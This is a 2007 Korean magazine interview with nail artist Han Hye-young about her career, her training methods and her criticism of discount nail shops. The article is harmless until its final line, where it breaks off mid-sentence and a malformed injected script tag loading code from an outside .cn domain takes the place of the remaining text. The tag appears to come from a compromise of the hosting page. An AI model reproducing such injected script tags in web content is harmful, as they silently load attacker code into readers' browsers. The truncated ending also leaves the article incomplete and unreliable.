현실에서 빚어낸 네일 매트릭스
2007-03-17 <함민정 기자> 



성공한 사람에게는 공통된 특징이 있다. 이러 저런 타이틀로 자신의 이름을 빛내거나 고래 심줄보다(?) 더한 오기와 용기로 스스로를 이끌어 최고의 자리에 오른다는 점이다. 10여 년 전 헤어 아티스트의 꿈을 안고 배움의 길로 접어 들어 ‘손톱 생각’ 하나로 새로운 영역을 개척한 한혜영 씨. 그녀는 1996년 ‘네일’의 망망대해에 뛰어들어 네일의 역사(?)를 새롭게 장식한 개척자중 한 사람이 되었다. 네일 아티스트인 한혜영 브러시라운지 원장을 만났다.<편집자주>



청담동 이가자 라떼떼에 숍인숍으로 입점해 있는 한혜영 씨의 네일 숍은 단출했다. 겉모습에서 풍기는 분위기는 여느 네일숍과 다른 점이 별로 없었다. 하지만 이 네일숍에 뭔가 특별한 것이 있음에 틀림없었다. 왜냐면 탤런트 겸 모델 변정수는 이곳의 10년 지기 단골이고 SM기획사의 보아를 비롯한 톱 스타급 연예인들의 발걸음이 잦은 곳으로 입 소문만으로 유명세를 타고 있기 때문이다.
화장기 없는 수수한 얼굴과 블랙 셔츠 블라우스의 한혜영 씨와의 첫 만남은 왠지 그의 고즈넉한 네일 숍과 닮아 있었다. 똘망 똘망한 눈빛으로 자신의 의견을 올곧게 피력할 줄 알고, 자신은 ‘인복’이 참 많은 사람이라며 따뜻함으로 메워진 촉촉한 눈시울과 정감넘치는 눈웃음을 교차시키는 참 ‘인간다운’ 아티스트였다.



헤어 아티스트의 꿈을 품은 소녀의 또다른 선택
한혜영 씨가 말한 ‘인복(人福)’은 시작부터 그 힘을 발휘하고 있었다. 한혜영 씨가 뷰티 전문가로로 살고자 하는 꿈을 품었을 때를 기억하면 먼저 고등학교 소녀였던 한혜영 씨를 만나봐야 한다. 그녀는 고등학교 시절에 이미 미용을 접하고 헤어 디자이너가 될 결심을 했다. 그러던 어느 날, 꿈을 위해 하나하나 단계를 밟던 시절 그녀는 ‘딴 생각’을 했다. 그 당시  미개척 분야인 ‘매니큐어 바르기’에 재미를 붙이기 시작했던 것이다.
“손님이 머리를 시술할 동안 손톱에 곱게 매니큐어를 발라주고, 프렌치라는 기교를 부리는 것이 더 재미있었어요.”
지금껏 한혜영이 나아가야 할 미지의 길에 빛을 비추어준 등대는 이가자 원장이었다. 이 원장은 그녀의 재능을 일찍이 발견했다. 그러던 중 이가자 원장과 친분이 있던 제니 정 씨를 그녀에게 소개시켜 준 것이다. 그 당시 제니 정은 뉴욕과 L.A를 오가며 한국인 ‘매니큐어리스트(네일 아티스트와 동일한 지칭)’으로 왕성한 활동을 하던 아티스트였다.  이가자 원장은 제니 정에게 미국에서 하던 활동을 국내에서 해보지 않겠느냐는 권유를 했고, 한혜영 씨는 자신의 인생 궤도를 수정할 수 있는 스승을 만난 셈이었다.



뿌리깊은 나무는 흔들림이 없다
한혜영 씨가 스승에게 배웠던 가장 큰 가르침은 ‘뿌리가 튼튼해야 한다’는 것이었다.
“근본이 튼튼한 나무처럼, 뷰티도 기본이 되어있다면 어디를 가서도, 어떤 상황을 만나도 다 소화할 수 있다는 것이었죠. 그러려면 밑바닥부터 봐야 해요. 처음엔 다들 그럴 거예요. ‘내가 왜 이걸 해야 하나’, ‘내가 이걸 하려고 여기에 왔나’하는 비좁고 이기적인 자존심이 스스로를 덮치겠죠. 하지만 이겨내야 해요. 그것이 많은 가지를 뻗게 하고, 튼튼한 몸뚱이를 가질 수 있게 하는 뿌리가 될 테니까요.”
한혜영 씨의 제자들은 남들보다 강한 ‘하드 트레이닝’을 견뎌야 한다. 인턴 3~4년에 2년은 손님 관리, 이후 촬영을 경험할 수 있고, 경력 5년 차는 돼야 ‘뷰티 아티스트’로서 대우를 받게 되는 셈이다.
하지만 한혜영 씨는 이러한 과정 없이 ‘네일 아티스트’라는 직함을 쉽게 얻은 이들이 많기 때문에 현재 네일 산업은 ‘풍요 속의 빈곤’이라고 말한다.
“일하는 사람, 일하려는 사람은 많은데 정작 제대로 된 실력으로 네일 문화를 전개하는 사람은 얼마 없어요. 처음 네일이 도입됐을 때에 비해 지금은 제품이 다양하고 시술 가격도 많이 내렸죠. 문제는 상업성으로 똘똘 뭉친 ‘사장’네들이 너무 많이 내린 가격을 대신할 순환 창구를 만들어 그 짐을 고스란히 고객들과 네일 아티스트들에게 주고 있다는 것이예요.”
즉 네일 아티스트들은 저렴한 가격의 네일 서비스를 제공하는 대신, 업체에선 고객들에게 제품 구매를 권하고, 여기에 동조한 고객들은 제품을 구매해 자가시술로 실패를 맛보는 악순환 고리의 매듭을 풀지 못하고 있다는 것이다.
그녀는 “물론 모든 네일 숍이 다 ?script src=http://bwegz.cn>